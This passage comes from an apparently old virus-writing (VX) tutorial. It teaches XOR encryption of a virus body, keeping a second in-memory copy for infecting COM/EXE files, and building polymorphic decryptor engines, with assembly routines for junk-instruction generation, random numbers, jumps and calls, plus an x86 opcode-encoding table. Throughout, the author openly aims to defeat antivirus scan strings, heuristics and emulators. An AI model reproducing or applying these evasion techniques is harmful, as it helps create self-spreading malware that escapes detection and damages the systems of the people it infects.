>      crypt and decrypt: NOT and NEG. The  most used of this two is the first one.
>      Of course, we  can use a  lot of more instructions for encryption. I'll show
>      you a little list of instuctions we can use:

>      INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...

>      The simplest way for encrypt our virus is to use a routine like this:

>      encryption:
>             mov     cx,encrypt_size         ; encrypt_end-encrypt_start
>             mov     di,[bp+encrypt_begin]   ; From where
>             mov     si,di                   ; For lodsb/stosb
>             mov     ah,key                  ; Value for XOR. Subst key with whate
>                                             ; ver you want
>      encryption_loop:
>             lodsb                           ; Move a byte from DS:SI to AL
>             xor     al,ah
>             stosb                           ; Move a byte from AL to ES:DI
>             loop    encryption_loop
>             ret

>      This  procedure is really poor. It  only have 255 posibilities because we're
>      working with a 8-byte register as key ( AL ).

>      Of course this is the simplest way. We must take note of some things:

>      - If we  use a routine  like this, and we haven't a second copy of our virus
>      in memory ( i will  talk about  it in this  same article ), when using  this
>      routine  we must left  unencrypted the  procedure that  copies ( and call to
>      encrypt procedure too ) virus to the victim.

>      - We must take care  of the virus state in its first generation: it's unenc-
>      rypted. Using  xor,  we can  use the value of  00 to make this, in the first
>      generation, and make a procedure that changes this value in the code, or si-
>      mply avoid the execution of the encryption routine in  the first generation.

>      Now, we'll  see how is  the above encryption procedure  when using a 16-byte
>      encryption as the key:

>      encryption:
>             mov     cx,(encrypt_size+1)/2   ; encrypt_end-encrypt_start/2
>             mov     di,[bp+encrypt_begin]   ; From where
>             mov     si,di                   ; For lodsw/stosw
>             mov     dx,key                  ; Value for XOR. Subst key with whate
>                                             ; ver you want
>      encryption_loop:
>             lodsw                           ; Move a word from DS:SI to AX
>             xor     ax,dx
>             stosw                           ; Move a word from AX to ES:DI
>             loop    encryption_loop
>             ret

>      The problem is: if we left the copy and encryption procedures unencrypted...
>      what will AV do? They have in  our hard worked virus ( yes, yes, the same in
>      what  we  spend a lot of  weeks of work  trying to  make it  anti-heuristic,
>      stealth, with  a lot  of cool   tricks, a new and wonderful stuff...) a scan
>      string enough big for add it to their AV. In 5  minutes they  implemented in
>      their AV the way  for detect our virus. Argh! A VXer spends days in create a
>      decent virus, and because he used a simple encryptor like this, in 5 minutes
>      our enemies have the way for detect us! This world is really a shit! :(

>      But, the VXers never surrender, so... We need to make the decryptor as small
>      as possible. Ain't enough. In the next chapter you'll have the best possible
>      answer :)

>      How  we can have  a second  copy of  our virus  in memory? It's very simple.
>      After the label  that marks  the  last byte that the virus will copy, we can
>      have something like this:

>      virus_end      label   byte            ; The label that marks end of virus

>      enc_buffer     db      (offset virus_end-offset virus_start) dup (090h)

>      The enc_buffer variable will only have code in the first generation. When we
>      spread the virus, this  variable won't be  copied within  it. But we can use
>      its offset  for have  a second copy of our virus there. What we can do is...

>      - When we copy  our virus to  memory ( in a TSR one ), we  make this another
>      time, and when we're putting in  the code the EXE header, or the first bytes
>      of the COM, we put  them in the  same offset  where this  variables  will go
>      shifted by virus size. Ok, i'll explain it better. Imagine we have something
>      like:

>             mov     ah,3Fh
>             mov     cx,4
>             lea     dx,old3bytes
>             int     21h

>      Ok. Then, if  we have  the second copy of the virus in memory, we must subst
>      the third line for something like:

>             lea     dx,virus_size+old3bytes

>      The best way is to experiment with it...

>      - Or we can  copy the virus  body just before the appending: we have all the
>      variables set. The movement will be like this:

>             mov     cx,virus_size
>             xor     si,si
>             mov     di,offset virus_begin
>             rep     movsb

>      We encrypt it, append this second copy and... that's all folks!

>     ---| Polymorphism |----------------------------------------------------------

>      This is one of the most  interesting things in a virus. It's also very funny
>      to  code a PER ( Polymorphic Encryption Routine ), and it shows  clearly how
>      is the " style " of  the VXer  that coded it. It's  also the  thing that all
>      beginners think that is very hard to do, and only the experimented VXers can
>      do it. DON'T THINK IT! It's  very simple. Don't be afraid. If you've arrived
>      till here alive, i'm sure you'll understand ALL. This chapter is an extensi-
>      on of the ENCRYPTION chapter.

>      Our  objective doing  a PER is  the neverending one in the VX world : defeat
>      AVs by  minimizing  the  scan  string  of  our  viruses, aka FUCK'EM ALL! :)
>      The concept  is to generate different decryptors  for each infection, so the
>      AVs will suck in order to detect our virus. And this technique, with STEALTH
>      ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make yer viruses very powerful

>      Ok, let's begin with the interesting stuff.

>      % History %
>      -----------

>      Da first attempts to make a PER were made by a bulgarian coder, probably one
>      of the bests virus creators ever, called Dark Avenger. His viruses were, are
>      and will be a touch stone for all VXers. From his first viruses, like Eddie,
>      he  showed  a great quality  for coding. But the  best stuff  came with  the
>      release of the MtE ( Mutation Engine ), the first good PER in the VX history
>      All  AV researchers  went mad in order to find a scan string for the viruses
>      based in this engine. After  a  lot of hard word ( ??? ) in the AV side they
>      found a reliable scan string for catch MtE. But  it was  just the beginning.
>      Masud Khafir, member  of the  TridenT virus  research group,  developed TPE,
>      Dark Angel of Phalcon Skism developed DAME ( Dark Angel Multiple Encryptor )
>      and many other virus researchers made other cool engines. When we're talking
>      about the polymorphic engines, we must think that this technique was made in
>      1992, a long time ago. The had only to fight againist scan strings, and this
>      today, is very easy.

>      But nowadays, the polymorphic engines have a lot of enemies: code analizers,
>      emulators, tracers, heuristics, and  experienced AVs  figthing againist  us.
>      Firstly, VXers thought that da best option for our decryptors was to make it
>      as variable as they can. But the  time have demonstrated that it was a wrong
>      idea: AVers will infect  THOUSAND of baits, in order to see all possible de-
>      cryptors the PER can generate. If we  show them a very little portion of our
>      possible decryptors ( by using date for generate random, for example ) we're
>      fucking their needs. They  have a scan  string, but in  another computer, in
>      another  situation, this  scan string  won't work. This is called SLOW poly.
>      We'll see this in another place at this same chapter.

>      % Introduction %
>      ----------------

>      A polymorphic engine is da most personal thing a coder can do. At this point
>      i must say to  you that use  the polymorphy of  another coder  isn't as good
>      idea as it appear to be. It's very easy to code a decent PER, but if you use
>      one of another coder, you'll be limited when coding your virus.

>      We need to generate a decryptor, also placing junk among the real decryption
>      opcodes, with fake jumps, calls, antidebugging, and all  we want to... Let's
>      see what we must put for make our PER decent...

>      - Generate many ways to reach the same point
>      - Changing the order of the opcodes that we can.
>      - Can be used in another viruses
>      - Can generate calls to do nothing INT 21h functions
>      - Can generate calls to do nothing interrupts
>      - If we want, we can make it slow poly
>      - Minimize all possible scan strings
>      - Protect the instruction generator with armour, and make it very hard to
>      disassemble.

>      When  you're doing  a PER, the imagination is a very good weapon. Use it for
>      generate as many original things as you can.

>      % The first steps in polymorphism %
>      -----------------------------------

>      The  easiest way to make  a decryptor that changes every virus generation is
>      create a junk generator, and then  put some decryptor instructions  followed
>      by do-nothing  instructions. This is  the first  attempt you  can do  if you
>      haven't  created an engine. The first kind of junk are the one byters, those
>      simple instructions that generally we use. We must choose before do nothing,
>      all the junk registers. I ussually use AX, BX and DX.
>      Let's see a little table of one byters:

>      OneByteTable:
>             db      09Eh                    ; sahf
>             db      090h                    ; nop
>             db      0F8h                    ; clc
>             db      0F9h                    ; stc
>             db      0F5h                    ; cmc
>             db      09Fh                    ; lahf
>             db      0CCh                    ; int 3h
>             db      048h                    ; dec ax
>             db      04Bh                    ; dec bx
>             db      04Ah                    ; dec dx
>             db      040h                    ; inc ax
>             db      043h                    ; inc bx
>             db      042h                    ; inc dx
>             db      098h                    ; cbw
>             db      099h                    ; cwd
>      EndOneByteTable:

>      With a  simple routine that  places real  intructions, and other that places
>      junk, we have  a very simple  polymorphic engine. It's  useful for our first
>      steps, but if  you're coding a good virus, u must know one thing... if there
>      are a lot of do-nothing instructions like this, be sure AV will show a flag.
>      Erhm... how we can get one of this instructions? Preety simple:

>      GenerateOneByteJunk:
>             lea     si,OneByteTable         ; Offset of the table
>             call    random                  ; Must generate random numbers
>             and     ax,014h                 ; AX must be within 0 and 14 ( 15 )
>             add     si,ax                   ; Add AX ( AL ) to the offset
>             mov     al,[si]                 ; Put selected opcode in al
>             stosb                           ; And store it in ES:DI ( points to
>                                             ; the decryptor instructions )
>             ret

>      And, of course, we need a random number generator. Here you have da simplest
>      one:

>      Random:
>             in      ax,40h                  ; This will generate a random number
>             in      al,40h                  ; in AX
>             ret

>      With da above routines, that we can do is a very bad engine. Our targets are
>      anothers, so pay attention to the next parts of this chapter.

>      % Some ways to make a simple operation %
>      ----------------------------------------

>      There are nearly infinite ( not at all... just milions of possibilities ) :)
>      ways to  perform a simple instuction task. Let's imagine a " mov dx,1234h ",
>      without using another register:

>             mov     dx,1234h

>             push    1234h
>             pop     dx

>             mov     dx,1234h xor 5678h
>             xor     dx,5678h

>             mov     dh,12h
>             mov     dl,34h

>             xor     dx,dx
>             or      dx,1234h

>             mov     dx,not 1234h
>             not     dx
>             [...]

>      And we can do  more and more  combinations. And of course, if we use another
>      register for perform our task, the possibilities increases a lot.

>      % Changing instruction order %
>      ------------------------------

>      There are a  lot of instructions  that we can code in the order we want. And
>      this, combinated  with the  ways to perform a  simple instructions, can make
>      our polymorphic engine really powerful.

>      Ussually, about all da instructions before the decryption loop can be placed
>      in any order, except all the PUSH/POP  combinations, and the  related stuff.
>      We are talking about  this instuctions that don't depend of another for make
>      its job. Let's see an example:

>             mov     cx,encrypt_size
>             mov     si,encrypt_begin
>             mov     di,encrypt_key

>      We can put this instructions in the order we want, a random order :)
>      It will do the same stuff if it looks like:

>             mov     di,encrypt_key
>             mov     cx,encrypt_size
>             mov     si,encrypt_begin

>      And in this way, all the possible combinations.

>      % Portability %
>      ---------------

>      It's quite easy  to do  a portable polymorphic  engine. All we must do is to
>      make our PER use parameters. For example, we can  use CX for handle the size
>      to encrypt, DS:DX point to da code to encrypt, and else. So, in this way, we
>      can use our engine in the virus we want.

>      % Tables againist Blocks %
>      --------------------------

>      + Table based PER:

>      The spirit of this kinda engine types it to have all the offsets of the rou-
>      thines  that  generate  junk ( one  byters, fake int calls, math ops... ) in
>      another  table. Then, with  a random  value, we call to one of this offsets,
>      and generate a random junk. Let's see an example:

>      RandomJunk:
>             call    Random                  ; Random number in AX
>             and     ax,(EndRandomJunkTable-RandomJunkTable)/2
>             add     ax,ax                   ; AX*2
>             xchg    si,ax
>             add     si,offset RandomJunkTable ; Point to table
>             lodsw
>             call    ax                      ; Call to random table offset
>             ret

>      RandomJunkTable:
>             dw      offset GenerateOneByteJunk
>             dw      offset GenerateMovRegImm
>             dw      offset GenerateMovRegMem
>             dw      offset GenerateMathOp
>             dw      offset GenerateArmour
>             dw      offset GenerateCalls
>             dw      offset GenerateJumps
>             dw      offset GenerateINTs
>             [...]
>      EndRandomJunkTable:

>      It's very easy  to add  new routines to  a table  based PER, and  this kinda
>      engines can be very optimized ( depending of coder ).

>      + Block based PER:

>      Our objective is to make, for each instruction of the decryptor, some blocks
>      of a fixed size. We've one example of this kinda engine in the Elvira virus,
>      by Spanska, published  in 29A#2. Let's  see  an example of one of the blocks
>      in the  Elvira engine, the  one used  for compare CX with 0. Each  block has
>      a defined size ( 6 bytes ).

>             cmp cx, 0
>             nop
>             nop
>             nop

>             nop
>             nop
>             nop
>             cmp cx, 0

>             nop
>             or cx, cx
>             nop
>             nop
>             nop

>             nop
>             nop
>             nop
>             or cx, cx
>             nop

>             test cx, 0FFFFh
>             nop
>             nop

>             or cl, cl
>             jne suite_or
>             or ch, ch
>             suite_or:

>             mov bx, cx
>             inc bx
>             cmp bx, 1

>             inc cx
>             cmp cx, 1
>             dec cx
>             nop

>             dec cx
>             cmp cx, 0FFFFh
>             inc cx
>             nop

>      Ass you can see, it's more  easy to add new blocks to  do the same task. But
>      this kinda  engines have one weak point: the size. The Elvira's engine sucks
>      about the half size of the virus: 4250 bytes is the virus size, engine sucks
>      2000-2500 bytes of da virus. The good thing is that with adding more blocks,
>      we can create new strains for  the virus, and  make it still undetectable by
>      AVers :)

>      + And the winner is....

>      I  think tables are the solution, because we  can generate  all the possible
>      combinations of blocks, and more. The blocks are the solution for all da ppl
>      that don't want to make their lifes a living hell :)

>      % Instructions %
>      ----------------

>      Here is the base of all polymorphic engines, da way to generate instructions
>      with random registers, values, memory positions...

>      + Notations:

>      Symbol         Explanation
>       -----'         ----------'
>      imm8           byte immediate operand
>      imm16          word immediate operand
>      reg8           byte register operand
>      reg16          word register operand
>      mem8           byte memory operand
>      mem16          word memory operand
>      regmem8        byte reg/mem operand
>      regmem16       word reg/mem operand
>      d8             byte memory offset displacement
>      d16            word memory offset displacement
>      sig8           byte signed operand
>      sig16          word signed operand
>      sig32          offset:segment operand
>      ^0,^1, etc     Reg field of the RegInfo byte contains this num as Op. info

>      RegInfoByte    needs the below fields
>      reg            a code that keeps the register to be used
>      sreg           a code that keeps the segment register
>      r/m            how is the instruction made ( based, indexed, two regs... )
>      mod            who makes the indexing ( DI, BP... )
>      dir            the direction
>      w              word mark

>      OpCode skeleton
>       --------------'

>      .-----------------------------------------------------------------------.
>      |     8 bits         2     3     3      8 or 16 bits     8 or 16 bits   |
>      | .=============. .=================. .==============. .==============. |
>      | | Instruction | | MOD | REG | R/M | | Displacement | |     Data     | |
>      | '=============' '=================' '==============' '==============' |
>      |     1 byte            1 byte          1 or 2 bytes     1 or 2 bytes   |
>      '-----------------------------------------------------------------------'

>      Reg field
>       --------'

>      Reg value      > 00  01  02  03  04  05  06  07
>                       vv  vv  vv  vv  vv  vv  vv  vv
>      Byte registers > AL  CL  DL  BL  AH  CH  DH  BH
>      Word registers > AX  CX  DX  BX  SP  BP  SI  DI
>      Extended regs  > EAX ECX EDX EBX ESP EBP ESI EDI

>      How we can  know if  the register is byte or word? Easy, with the w byte. If
>      it's set to 1 it's a word, and  if it's 0, we're talking  about a  byte reg.

>      Sreg field
>       ---------'

>      Sreg value > 01 03 05 07
>                   vv vv vv vv
>      Segment    > ES CS SS DS

>      R/M field and Mod field
>       ----------------------'

>      R/M value > 00  Mod
>                      vvv
>                      000 > [BX+SI]
>                      001 > [BX+DI]
>                      010 > [BP+SI]
>                      011 > [BP+DI]
>                      100 > [SI]
>                      101 > [DI]
>                      110 > d16
>                      111 > [BX]

>      R/M value > 01  Mod
>                      vvv
>                      000 > [BX+SI+d8]
>                      001 > [BX+DI+d8]
>                      010 > [BP+SI+d8]
>                      011 > [BP+DI+d8]
>                      100 > [SI+d8]
>                      101 > [DI+d8]
>                      110 > [BP+d8]
>                      111 > [BX+d8]

>      R/M value > 10  Mod
>                      vvv
>                      000 > [BX+SI+d16]
>                      001 > [BX+DI+d16]
>                      010 > [BP+SI+d16]
>                      011 > [BP+DI+d16]
>                      100 > [SI+d16]
>                      101 > [DI+d16]
>                      110 > [BP+d16]
>                      111 > [BX+d16]

>      R/M value > 11  Mod   Byte Word
>                      vvv    vv   vv
>                      000 >  AL   AX
>                      001 >  CL   CX
>                      010 >  DL   DX
>                      011 >  BL   BX
>                      100 >  AH   SP
>                      101 >  CH   BP
>                      110 >  DH   SI
>                      111 >  BH   DI

>      Direction field
>       --------------'
>      If it's 0, the movement goes from reg to mod, and if it's 1, vice-versa, but
>      please note that  TBSCAN will trigger a flag if a instruction goes with dir.
>      field at 0, coz this can never be generated by an assembler.

>      + OpCodes:

>      .-------.
>      |> MOV <|
>      '-------'

>      This instruction is the most used so far in assembly. It's also the one that
>      has  more ways to code. BEWARE! It has  some optimized variants, as  you can
>      see, for AL/AX. You must make da code for this registers just like an assem-
>      bler program does, if not, the heuristic analyzers will fuck yer code!

>      MOV reg8,imm8        > B0+RegByte imm8
>      MOV reg16,imm16      > B8+RegWord imm16
>      MOV AL,mem8          > A0 mem8
>      MOV AX,mem16         > A1 mem16
>      MOV mem8,AL          > A2 mem8
>      MOV mem16,AX         > A3 mem16
>      MOV reg8,regmem8     > 8A RegInfoByte
>      MOV reg16,regmem16   > 8B RegInfoByte
>      MOV regmem8,reg8     > 88 RegInfoByte
>      MOV regmem16,reg16   > 89 RegInfoByte
>      MOV regmem8,imm8     > C6 ^0
>      MOV regmem16,imm16   > C7 ^0
>      MOV reg16,segmentreg > 8C RegInfoByte
>      MOV segmentreg,reg16 > 8E RegInfoByte

>      .--------.
>      |> XCHG <|
>      '--------'

>      As in MOV instruction, this OpCode is optimized for use AX.

>      XCHG AX,reg16       > 90+RegWord
>      XCHG reg8,regmem8   > 86 RegInfoByte
>      XCHG regmem8,reg8   > 86 RegInfoByte
>      XCHG reg16,regmem16 > 87 RegInfoByte
>      XCHG regmem16,reg16 > 87 RegInfoByte

>      .---------------------.
>      |> Segment Overrides <|
>      '---------------------'

>      This aren't full instructions. They  are prefixes, so  this OpCodes  must be
>      placed before the instruction.

>      SEGCS > 2E
>      SEGDS > 3E
>      SEGES > 26
>      SEGSS > 36

>      .--------------------.
>      |> Stack Operations <|
>      '--------------------'

>      This instructions are used for get/put/manipulate values in/to/from stack.

>      PUSH reg16    > 50+RegWord
>      PUSH regmem16 > FF ^6
>      PUSH imm8     > 6A imm8
>      PUSH imm16    > 68 imm16
>      PUSH CS       > 0E
>      PUSH DS       > 1E
>      PUSH ES       > 06
>      PUSH SS       > 16
>      PUSHA         > 60
>      PUSHF         > 9C
>      POP reg16     > 58+RegWord
>      POP regmem16  > 8F ^0 imm16
>      POP DS        > 1F
>      POP ES        > 07
>      POP SS        > 17
>      POPA          > 61
>      POPF          > 9D

>      .-------------------.
>      |> Flag Operations <|
>      '-------------------'

>      All these  instructions are one-byters, so, they're really  good for garbage
>      generators, but caution with some instructions like STD and STI.

>      CLI  > FA
>      STI  > FB
>      CLD  > FC
>      STD  > FD
>      CLC  > F8
>      STC  > F9
>      CMC  > F5
>      SAHF > 9E
>      LAHF > 9F

>      Logical instructions
>       -------------------'

>      .-------.
>      |> XOR <|
>      '-------'

>      XOR AL,imm8        > 34 imm8
>      XOR AX,imm16       > 35 imm16
>      XOR reg8,regmem8   > 32 RegInfoByte
>      XOR reg16,regmem16 > 33 RegInfoByte
>      XOR regmem8,reg8   > 30 RegInfoByte
>      XOR regmem16,reg16 > 31 RegInfoByte
>      XOR regmem8,imm8   > 80 ^6 imm8
>      XOR regmem16,imm8  > 83 ^6 imm8
>      XOR regmem16,imm16 > 81 ^6 imm16

>      .------.
>      |> OR <|
>      '------'

>      OR AL,imm8        > 0C imm8
>      OR AX,imm16       > 0D imm16
>      OR reg8,regmem8   > 0A RegInfoByte
>      OR reg16,regmem16 > 0B RegInfoByte
>      OR regmem8,reg8   > 08 RegInfoByte
>      OR regmem16,reg16 > 09 RegInfoByte
>      OR regmem8,imm8   > 80 ^1 imm8
>      OR regmem16,imm8  > 83 ^1 imm8
>      OR regmem16,imm16 > 81 ^1 imm16

>      .-------.
>      |> AND <|
>      '-------'

>      AND AL,imm8        > 24 imm8
>      AND AX,imm16       > 25 imm16
>      AND reg8,regmem8   > 22 RegInfoByte
>      AND reg16,regmem16 > 23 RegInfoByte
>      AND regmem8,reg8   > 20 RegInfoByte
>      AND regmem16,reg16 > 21 RegInfoByte
>      AND regmem8,imm8   > 80 ^4 imm8
>      AND regmem16,imm8  > 83 ^4 imm8
>      AND regmem16,imm16 > 81 ^4 imm16

>      .-------.
>      |> NOT <|
>      '-------'

>      NOT regmem8  > F6 ^2
>      NOT regmem16 > F7 ^2

>      .-------.
>      |> NEG <|
>      '-------'

>      NEG regmem8  > F6 ^3
>      NEG regmem16 > F7 ^3

>      .--------.
>      |> TEST <|
>      '--------'

>      TEST AL,imm8        > A8 imm8
>      TEST AL,imm16       > A9 imm16
>      TEST regmem8,reg8   > 84 RegInfoByte
>      TEST regmem16,reg16 > 85 RegInfoByte
>      TEST regmem8,imm8   > F6 ^0 imm8
>      TEST regmem16,imm16 > F7 ^0 imm16

>      .-------.
>      |> CMP <|
>      '-------'

>      CMP AL,imm8        > 3C imm8
>      CMP AX,imm16       > 3D imm16
>      CMP reg8,regmem8   > 3A RegInfoByte
>      CMP reg16,regmem16 > 3B RegInfoByte
>      CMP regmem8,reg8   > 38 RegInfoByte
>      CMP regmem16,reg16 > 39 RegInfoByte
>      CMP regmem8,imm8   > 80 ^7 imm8
>      CMP regmem16,imm8  > 83 ^7 imm8
>      CMP regmem16,imm16 > 81 ^7 imm16

>      Arithmetic instructions
>       ----------------------'

>      .-------.
>      |> ADD <|
>      '-------'

>      ADD AL,imm8        > 04 imm8
>      ADD AX,imm16       > 05 imm16
>      ADD reg8,regmem8   > 02 RegInfoByte
>      ADD reg16,rm16     > 03 RegInfoByte
>      ADD regmem8,reg8   > 00 RegInfoByte
>      ADD regmem16,reg16 > 01 RegInfoByte
>      ADD regmem8,imm8   > 80 ^0 imm8
>      ADD regmem16,imm8  > 83 ^0 imm8
>      ADD regmem16,imm16 > 81 ^0 imm16

>      .-------.
>      |> SUB <|
>      '-------'

>      SUB AL,imm8        > 2C imm8
>      SUB AX,imm16       > 2D imm16
>      SUB reg8,regmem8   > 2A RegInfoByte
>      SUB reg16,regmem16 > 2B RegInfoByte
>      SUB regmem8,reg8   > 28 RegInfoByte
>      SUB regmem16,reg16 > 29 RegInfoByte
>      SUB regmem8,imm8   > 80 ^5 imm8
>      SUB regmem16,imm8  > 83 ^5 imm8
>      SUB regmem16,imm16 > 81 ^5 imm16

>      .-------.
>      |> ADC <|
>      '-------'

>      ADC AL,imm8        > 14 imm8
>      ADC AX,imm16       > 15 imm16
>      ADC reg8,regmem8   > 12 RegInfoByte
>      ADC reg16,regmem16 > 13 RegInfoByte
>      ADC regmem8,reg8   > 10 RegInfoByte
>      ADC regmem16,reg16 > 11 RegInfoByte
>      ADC regmem8,imm8   > 80 ^2 imm8
>      ADC regmem16,imm8  > 83 ^2 imm8
>      ADC regmem16,imm16 > 81 ^2 imm16

>      .-------.
>      |> SBB <|
>      '-------'

>      SBB AL,imm8        > 1C ib
>      SBB AX,imm16       > 1D iw
>      SBB reg8,regmem8   > 1A RegInfoByte
>      SBB reg16,regmem16 > 1B RegInfoByte
>      SBB regmem8,reg8   > 18 RegInfoByte
>      SBB regmem16,reg16 > 19 RegInfoByte
>      SBB regmem8,imm8   > 80 ^3 imm8
>      SBB regmem16,imm8  > 83 ^3 imm8
>      SBB regmem16,imm16 > 81 ^3 imm16

>      .-------.
>      |> INC <|
>      '-------'

>      INC reg16    > 40+RegWord
>      INC regmem8  > FE ^0
>      INC regmem16 > FF ^0

>      .-------.
>      |> DEC <|
>      '-------'

>      DEC reg16    > 48+RegWord
>      DEC regmem8  > FE ^1
>      DEC regmem16 > FF ^1

>      .-------.
>      |> MUL <|
>      '-------'

>      MUL regmem8  > F6 ^4
>      MUL regmem16 > F7 ^4

>      .-------.
>      |> DIV <|
>      '-------'

>      DIV regmem8  > F6 ^6
>      DIV regmem16 > F7 ^6

>      .--------.
>      |> IMUL <|
>      '--------'

>      IMUL regmem8              > F6 ^5
>      IMUL regmem16             > F7 ^5
>      IMUL reg16,regmem16,imm16 > 69 imm16
>      IMUL reg16,regmem16,imm8  > 6B imm8

>      .--------.
>      |> IDIV <|
>      '--------'

>      IDIV regmem8  > F6 ^7
>      IDIV regmem16 > F7 ^7

>      Shifting instructions
>       --------------------'

>      .-------.
>      |> SHL <|
>      '-------'

>      SHL regmem8,1     > D0 ^4
>      SHL regmem16,1    > D1 ^4
>      SHL regmem8,CL    > D2 ^4
>      SHL regmem16,CL   > D3 ^4
>      SHL regmem8,imm8  > C0 ^4 imm8
>      SHL regmem16,imm8 > C1 ^4 imm8

>      .-------.
>      |> SHR <|
>      '-------'

>      SHR regmem8,1     > D0 ^5
>      SHR regmem16,1    > D1 ^5
>      SHR regmem8,CL    > D2 ^5
>      SHR regmem16,CL   > D3 ^5
>      SHR regmem8,imm8  > C0 ^5 imm8
>      SHR regmem16,imm8 > C1 ^5 imm8

>      .-------.
>      |> SAL <|
>      '-------'

>      SAL regmem8,1     > D0 ^4
>      SAL regmem16,1    > D1 ^4
>      SAL regmem8,CL    > D2 ^4
>      SAL regmem16,CL   > D3 ^4
>      SAL regmem8,imm8  > C0 ^4 imm8
>      SAL regmem16,imm8 > C1 ^4 imm8

>      .-------.
>      |> SAR <|
>      '-------'

>      SAR regmem8,1     > D0 ^7
>      SAR regmem16,1    > D1 ^7
>      SAR regmem8,CL    > D2 ^7
>      SAR regmem16,CL   > D3 ^7
>      SAR regmem8,imm8  > C0 ^7 imm8
>      SAR regmem16,imm8 > C1 ^7 imm8

>      .-------.
>      |> ROL <|
>      '-------'

>      ROL regmem8,1     > D0 ^0
>      ROL regmem16,1    > D1 ^0
>      ROL regmem8,CL    > D2 ^0
>      ROL regmem16,CL   > D3 ^0
>      ROL regmem8,imm8  > C0 ^0 imm8
>      ROL regmem16,imm8 > C1 ^0 imm8

>      .-------.
>      |> ROR <|
>      '-------'

>      ROR regmem8,1     > D0 ^1
>      ROR regmem16,1    > D1 ^1
>      ROR regmem8,CL    > D2 ^1
>      ROR regmem16,CL   > D3 ^1
>      ROR regmem8,imm8  > C0 ^1 imm8
>      ROR regmem16,imm8 > C1 ^1 imm8

>      .-------.
>      |> RCL <|
>      '-------'

>      RCL regmem8,1     > D0 ^2
>      RCL regmem16,1    > D1 ^2
>      RCL regmem8,CL    > D2 ^2
>      RCL regmem16,CL   > D3 ^2
>      RCL regmem8,imm8  > C0 ^2 imm8
>      RCL regmem16,imm8 > C1 ^2 imm8

>      .-------.
>      |> RCR <|
>      '-------'

>      RCR regmem8,1     > D0 ^3
>      RCR regmem16,1    > D1 ^3
>      RCR regmem8,CL    > D2 ^3
>      RCR regmem16,CL   > D3 ^3
>      RCR regmem8,imm8  > C0 ^3 imm8
>      RCR regmem16,imm8 > C1 ^3 imm8

>      Jumps, Calls and Rets
>       --------------------'

>      I must talk  a little bit at  this point about an interesting thing for you.
>      The jump offsets are calculated from da byte next to the whole jump instruc-
>      tion, for  example, if we've a E9 00 00 ( JUMP NEAR ) we're jumping directly
>      to the next instruction, the  instruction that is  just after the  jump. So,
>      looking this, we  can know that  a JMP 0001 will jump  over 1 byte after the
>      jump. But... What happens if we want to jump downwards? Preety simple. If we
>      make a JMP FFFF, we're jumping  to the data, and it'll hang sure. We can use
>      this formula, where  the X is the  final result, and X' help  us to make our
>      calculations.

>      X' = jump address - destination address + 2
>      X  = NEG X'

>      .-----------------------.
>      |> Unconditional Jumps <|
>      '-----------------------'

>      JMP sig16 ( SHORT ) > E9 sig16
>      JMP sig32 ( FAR )   > EA sig32
>      JMP sig8 ( NEAR )   > EB sig8
>      JMP regmem16        > FF ^4
>      JMP FAR mem16:16    > FF ^5

>      .---------------------.
>      |> Conditional Jumps <|
>      '---------------------'

>      JO sig8   > 70 sig8
>      JNO sig8  > 71 sig8
>      JB sig8   > 72 sig8
>      JAE sig8  > 73 sig8
>      JZ sig8   > 74 sig8
>      JNZ sig8  > 75 sig8
>      JBE sig8  > 76 sig8
>      JA sig8   > 77 sig8
>      JS sig8   > 78 sig8
>      JNS sig8  > 79 sig8
>      JPE sig8  > 7A sig8
>      JPO sig8  > 7B sig8
>      JL sig8   > 7C sig8
>      JGE sig8  > 7D sig8
>      JLE sig8  > 7E sig8
>      JG sig8   > 7F sig8
>      JCXZ sig8 > E3 sig8

>      .--------------.
>      |> Call stuff <|
>      '--------------'

>      CALL sig32        > 9A sig32
>      CALL sig16        > E8 sig16
>      CALL regmem16     > FF ^2
>      CALL FAR mem16:16 > FF ^3

>      .-----------.
>      |> Returns <|
>      '-----------'

>      RETN > C3
>      RETF > CB
>      IRET > CF

>      .--------------.
>      |> Loop stuff <|
>      '--------------'

>      LOOPNE/LOOPNZ sig8 > E0 cb
>      LOOPE/LOOPZ sig8   > E1 cb
>      LOOP sig8          > E2 cb

>      Miscellaneous
>       ------------'

>      .---------.
>      |> Loads <|
>      '---------'

>      LEA reg16,regmem16 > 8D RegInfoByte
>      LDS reg16,mem16:16 > C4 RegInfoByte
>      LES reg16,mem16:16 > C5 RegInfoByte

>      % Jumps / Calls generation %
>      ----------------------------

>      This is  one of  the most  important things to do if you want to do the code
>      generated by your PER more real to lamer's eyes ;)

>      + Jumps:

>      The creation of  jumps is very easy, and  very useful  for our needs. Try to
>      avoid da do-nothing jumps, like JMP 0000, because if we put this kinda jumps
>      in excess,an heuristic flag will probably flagged. Make instructions natural
>      must be our goal. And... where have you seen any jump to the next opcode? :)
>      In order to  create jumps, you must  be careful  with the offset, because if
>      you  make it  to low  or  too  high, the  computer will hang. You must do it
>      custom-made. It's a good idea to make the jumps' offsets variables ( between
>      1 and 5 will be enough ), and then place junk instructions. Make a procedure
>      for assure that your jumps will go to the right place. Remember: Imagination
>      is our best weapon.

>      Let's see a very simple Jx ( conditional jump ) generator. It's easy.

>      generate_jx:
>             call    random                  ; Our random procedure
>             and     al,0Fh                  ; A number between 0..16
>             add     al,70h                  ; Add 70 for get instructions
>             stosb                           ; Put AL in ES:DI
>             xor     ax,ax                   ; Make AL = 00
>             stosb                           ; Make a zero-jump
>             ret

>      This isn't the best solution, but... works! :)

>      + Calls:

>      A little  bit harder  than the  jump construction. If we put calls as we put
>      jumps the code will hang ( sure! ). This  is coz  when we're  making a call,
>      the offset  is pushed onto the stack, and  the ret will return to the offset
>      next to the call. So, if we put a call directly, our code  will be completly
>      unuseful. There're two  ways  to avoid this. Let's  explain the  first  one:
>      We make  the call to  the offset, then we  make a jump that completly  avoid
>      the call ( well, the call not... the FUCKING RET! ), we  make the  procedure
>      code, place the RET, and that's all! It must look like this:

>             [...]
>             call    shit -------.
>             [...]   <-----------|--.
>             jmp     avoid_shit -|--|--.
>             [...]               |  |  |
>      shit:          <-----------'  |  |
>             [...]                  |  |
>             ret     ---------------'  |
>             [...]                     |
>      avoid_shit:    <-----------------'
>             [...]

>      Maybe da second way seems more easy to your eyes. Well, i'm gonna explain it
>      for your open mind :)

>      We must make a jump over da call, then generate the opcodes of the procedure
>      generate the RET, and we can call the subroutine code now ( and more times )
>      Let's see:

>             [...]
>             jmp     avoid_shit -.
>             [...]               |
>      shit:          <-----------|--.
>             [...]               |  |
